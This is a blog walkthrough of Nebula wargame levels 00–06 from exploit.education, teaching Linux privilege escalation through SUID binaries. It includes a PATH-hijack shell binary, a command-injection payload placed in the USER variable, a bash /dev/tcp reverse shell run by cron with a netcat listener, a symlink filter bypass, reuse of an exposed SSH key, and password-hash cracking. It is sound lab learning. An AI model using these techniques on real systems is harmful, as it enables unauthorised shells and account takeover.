So you have been procrastinating on the Internet and you ended up here, huh? Iâm happy that happened! Now stop being lazy and stay to read this awesome post, you wonât regret it (and maybe even you learn a couple of things).
I have been looking for some resources to learn exploit development recently, and I found an awesome site called exploit.education, my purpose today is to go through some of the exercises with you, and leave some more for the future.
I have to warn you this is pretty basic stuff, so if you are a seasoned veteran that has hacked Google a couple of times I wouldnât waste much time in here⌠However, if thatâs not the case, feel free to skip the walkthrough for the exercises that you find too simple, but pay special attention to those that you couldnât solve, because those will provide the true learning experience.
Having said this, I find it necessary to warn you that reading this article wonât be very useful unless you have already faced the exercises, so do yourself a favor and have a look at them, try your hardest, and then come back so I can enlighten you.
This first one is pretty much a joke so I will speed run through it.
This level requires you to find a Set User ID program that will run as the âflag00â account. You could also find this by carefully looking in top level directories in / for suspicious looking directories.
We are basically being asked to find a program with the SUID bit set (I will explain this in level01).
By looking at the find
manual, we can quickly find that the switch we are looking for is -perm
, then by providing the argument /4000
we specifically look for files with the sticky bit set (a.k.a. SUID bit).
Iâm glad you are still here after that first level, I promise this one is cooler. In level01 we are asked to find a vulnerability in the source code below :
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
gid_t gid;
uid_t uid;
gid = getegid(); //get group identity
uid = geteuid(); //get user identity
setresgid(gid, gid, gid); //set real, effective, and saved user or group ID
setresuid(uid, uid, uid); //set real, effective, and saved user or group ID
system("/usr/bin/env echo and now what?");
}
In case you want to do some research on each one of the functions, here I list the man pages you can check :
Another part of the code you might not be familiar with is char **envp
. This argument is called the environment pointer. It contains all of the environment variables. As simple as it sounds.
Finally, /usr/bin/env
will search for a binary in the directories listed in the PATH environment variable and execute the first one it finds.
By this point you should understand the entire program we have been given, so letâs have a look at the files that are inside the directory :
As you can see, the flag01
binary is listed with the permissions -rwsr-xâ-
. I donât want to spend too much time explaining Linux file permissions since I consider the topic quite trivial, so hereâs a guide I liked.
One thing to highlight though, is the s
permission, also known as âThe super famous SUID bitâ. Okay, itâs just called SUID bit, but it is truly awesome what it can do for a hacker!
When the SUID bit is set on a file that is executable, it means that the file will be executed with the permissions of the owner of that file. Putting this in simpler terms, if a file is owned by user X and it has the SUID bit set, it will always be executed as X, no matter who runs it.
Therefore, we know that the executable file flag01
will be run as the flag01 user, which is the account we want to break into.
So what if we could spawn a shell through the flag01
binary? Thatâs right, the shell would be spawned with the flag01 account. So letâs dive right into it!
As I mentioned earlier, /usr/bin/env
will look for a binary named echo
contained in one of the directories of the PATH variable, so letâs look at the contents of PATH :
Sadly, we do not have any write permissions on any of those directories, so what can we do?
We know we do have write permissions in the /tmp
directory (This is just the default configuration because /tmp
is where all the temporary files go when a program is executing, so any user can write there), hence an idea that we can try out is to create a âfakeâ echo
there that will do whatever we want, and add the /tmp
directory to the PATH. It is important that /tmp
is the first directory of the PATH, since we know /usr/bin/env
will look through the directories in order and will grab the first binary it finds.
echo.c
will spawn a shell through a system call :
int main() { system("/bin/sh"); return 0; }
When called by the flag01
binary, echo
will spawn a shell with the account flag01 (becuase the program has the sticky bit set).
And that is how easy it is! Letâs move onâŚ
Once again, we need to find a vulnerability in the following program :
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
char *buffer;
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
buffer = NULL;
asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
printf("about to call system(\"%s\")\n", buffer);
system(buffer);
}
asprintf will allocate the the formatted string in the buffer
, and notice that it will substitute %s
with the USER environment variable.
This program allows us to exploit a vulnerability called Command Injection, which allows the attacker to execute arbitrary commands on the host OS.
The USER variable is retrieved from the environment that the program is being executed in, and modifying it is a piece of cake for the attacker. If you have been paying attention, you have already seen how I modified the PATH variable in level01, but we all have bad days, so I will show you again just in case :
export VAR=value
By injecting a /bin/bash
call into the USER env variable, we can once again spawn a shell for the user flag02 thanks to the program having the SUID set.
Have a look at how the payload I use is ;/bin/bash;/bin/echo
, which will make the formatted string have the following content : â/bin/echo ;/bin/bash;/bin/echo is coolâ. Thus the system call will call echo
to print nothing (empty echo
prints a new line character but whatever), then it will call /bin/bash
as flag02, and then finish with the last echo command.
In this level we find a directory and a script. Both are owned by the flag03 user and we know there is a crontab that is called every couple of minutes (The exercise tells us so, and we can assume that it is the script writable.sh
that will be run every couple of minutes).
writable.sh
:
#!/bin/sh
for i in /home/flag03/writable.d/* ; do
(ulimit -t 5; bash -x "$i")
rm -f "$i"
done
The script executes each file that is in the writable.d
directory, and then deletes such file.
ulimit -t
Specifies a processâ maximum running time, in seconds.bash -x
only executes the file if it is an executable.Each process has a set of resource limits that can be used to restrict the amounts of various system resources that the process may consume. For example, we may want to set resource limits on a process before executing an arbitrary program, if we are concerned that it may consume excessive resources. We can set the resource limits of the shell using the ulimit built-in command (limit in the C shell). These limits are inherited by the processes that the shell creates to execute user commands. - The Linux Programming Interface
Since the writable.sh
script is scheduled in the crontab and it has flag03 user permisisons, we can write a script that generates a reverse shell (run by flag03) and put it inside the writable.d
directory. In here, we want a reverse shell because the process is limited to 5 seconds with ulimit
, so if we only call /bin/bash
locally, we wonât have time to do pretty much anything.
So we create the script that generates the reverse shell :
#!/bin/bash
bash -i >& /dev/tcp/<@IP>/<Port> 0>&1
This script needs to have executable permissions or it wonât be called (Due to -x
) : chmod +x shell.sh
Now we can set up a netcat
listener with nc -nlvp <port>
and just wait for the crontab to execute writable.sh
.
As said, the script is run with flag03 permissions and we get our shell :
Just to show that there is no magic going on, I logged in with the nebula user (the godmode for this machine) and we can see a crontab that shows writable.sh is executed every 3 minutes.
Here comes a fairly easy one. This exercise requires us to read the token
file, and to do so we need to bypass the following programâs check :
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
int main(int argc, char **argv, char **envp)
{
char buf[1024];
int fd, rc;
if(argc == 1) {
printf("%s [file to read]\n", argv[0]);
exit(EXIT_FAILURE);
}
if(strstr(argv[1], "token") != NULL) {
printf("You may not access '%s'\n", argv[1]);
exit(EXIT_FAILURE);
}
fd = open(argv[1], O_RDONLY);
if(fd == -1) {
err(EXIT_FAILURE, "Unable to open %s", argv[1]);
}
rc = read(fd, buf, sizeof(buf));
if(rc == -1) {
err(EXIT_FAILURE, "Unable to read fd %d", fd);
}
write(1, buf, rc);
}
This is what we find in the directory we are given :
flag04
is what we have the source code of, and since it has the SUID bit set, it has permissions to read the token
file when executed.
First off, letâs check what the strstr
function doesâŚ
char *strstr(const char *haystack, const char *needle);
The strstr() function finds the first occurrence of the substring needle in the string haystack. The terminating null bytes (â\0â) are not compared. - strstr(3) â Linux manual page
For our concern, this means that the check done by flag04
consists of looking for the substring âtokenâ inside the string we provide as an argument. In case this comparison is positive, we will be presented with the generous message âYou may not access â%sâ\nâ, which is lame.
What we can easily see though, is that the check specifically looks for the string âtokenâ, so what if we can somehow access the file with another name?
With the use of a symbolic link, we can create an alias for the file, which means we can bypass the check and read that slippery token!
Like a normal link, a symbolic link provides an alternative name for a file. But whereas a normal link is a filename-plus-pointer entry in a directory list, a symbolic link is a specially marked file containing the name of another file. (In other words, a symbolic link has a filename-plus-pointer entry in a directory, and the file referred to by the pointer contains a string that names another file.) This latter file is often called the target of the symbolic link, and it is common to say that the symbolic link âpointsâ or ârefersâ to the target file. When a pathname is specified in a system call, in most circumstances, the kernel automatically dereferences (or synonymously, follows) each symbolic link in the pathname, replacing it with the filename to which it points. This process may happen recursively if the target of a symbolic link is itself a symbolic link. (The kernel imposes limits on the number of dereferences to handle the possibility of circular chains of symbolic links.) If a symbolic link refers to a file that doesnât exist, it is said to be a dangling link. - The Linux Programming Interface
In Linux, symlinks are created with :
ln -s <file> <link>
I thought we would have gotten a coupon or something fancy⌠Guess we will have to move to the next level.
We keep building up our fundamentals. level05 is all about understanding directory permissions.
Letâs see what we findâŚ
The .backup
directory has r-x
permissions for world, which means we are given access. We know this directory shouldnât be accessible, but a little peek inside wonât hurt anyone, right?
Listing the contents we find a compressed archive :
We can decompress it into /tmp
(Other directories will raise a âpermission deniedâ error) :
To everyoneâs surprise, we see there is an ssh private key :
Which of course we can use to log in as flag05 and get the flag. To log in through ssh when we have a key in a file, we can use the following command :
ssh flag05@<nebula's @IP> -i id_rsa
Note for the future : Do not store private keys in publicly accessible directories.
We have reached the last exercise for today (sad face). The information we have for this level is that the credentials of the account we need to pwn come from a legacy unix system.
I was afraid this moment would arrive, but it is time for a little history class.
Nowadays, Linux stored the usersâ credentials through the combination of two different files, /etc/passwd
, and /etc/shadow
. The first contains some information about the accounts, and typically everyone can read it, whilst the latter stores the hashes of the passwords for each user and only root has access to it.
Nevertheless, in old systems, everything was stored in one single file, namely /etc/passwd
.
As you will see in this exercise, this file contained some account information for each user, among which is the hash for everyoneâs password.
By looking directly for the line that contains the account for the flag06 user, we can extract the hash, which has the value ueqwOCnSGdsuM
.
We can store this hash in a file and then crack it with john the ripper. Since this hash is by no means complicated to crack, john
will find the result almost instantly :
And now all we need to do is log in with user flag06
and password hello
.
This has been everything for today. I think something very important can be learnt from this article (apart from the technical stuff), and that is the importance of fundamentals. I am going to be honest here, this exercises are way too easy to compare with real-world stuff, however, I think it is vital to understand everything from its base, and this levels provide some significant knowledge in a fun way.
My goal is to go through the entire Nebula series with different posts that will come in the future, and then move on to more advanced and cooler stuff. However, I donât want to saturate the site with exercises, so the posts wonât come one straight up after the other, I will just upload them occasionally, in between different topics.
As always, thank you very much for having reached the end of todayâs publication. Feel free to contact me in case you have any doubts or want to leave any kind of feedback. Take care!